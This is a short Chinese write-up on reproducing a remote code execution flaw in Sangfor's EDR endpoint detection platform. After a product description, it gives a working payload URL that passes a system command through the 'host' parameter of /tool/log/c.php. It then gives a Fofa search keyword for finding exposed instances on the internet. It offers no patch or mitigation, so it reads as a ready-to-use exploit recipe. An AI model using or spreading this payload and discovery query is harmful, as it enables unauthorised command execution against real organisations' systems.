深X服 EDR终端检测系统RCE漏洞复现

​简介：

深信服终端检测响应平台EDR，围绕终端资产安全生命周期，通过预防、防御、检测、响应赋予终端更为细致的隔离策略、更为精准的查杀能力、更为持续的检测能力、更为快速的处置能力。在应对高级威胁的同时，通过云网端联动协同、威胁情报共享、多层级响应机制，帮助用户快速处置终端安全问题，构建轻量级、智能化、响应快的下一代终端安全系统。

 

EDR 的ui 界面：

 

 

RCE payload：

漏洞位置：host 参数

https://xxx.com:xxx/tool/log/c.php?strip_slashes=system&host=id

 

 

Fofa关键字： 

title="终端检测响应平台"

终端检测响应平台